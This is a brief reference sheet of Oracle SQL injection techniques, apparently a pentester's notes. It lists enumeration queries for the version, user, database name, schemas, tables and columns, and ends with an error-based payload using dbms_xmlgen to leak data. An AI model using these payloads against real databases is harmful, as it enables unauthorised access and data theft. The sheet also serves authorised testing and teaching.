Can try to remove semicolon if the query fails

Version check: select * from v$version;

Current DB user check: select user from dual;

Curren schemas (any of the following):
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

Get list of schemas:
select owner from all_tables group by owner;
SELECT DISTINCT owner FROM all_tables;

Get list of tables for a specific schema (eg SYS): select table_name from all_tables where owner = 'SYS' order by table_name;

Get the columns for specific table (eg MENU): select column_name, data_type from all_tab_columns where table_name = 'MENU';

Finally selecting the item: select * from schemaname.tablename

Error based: (Oracle limits column name to 30 characters so need to output 30 at a time)
to_char(dbms_xmlgen.getxml('select "'||(select substr(banner,0,30) from v$version where rownum=1)||'" from sys.dual'))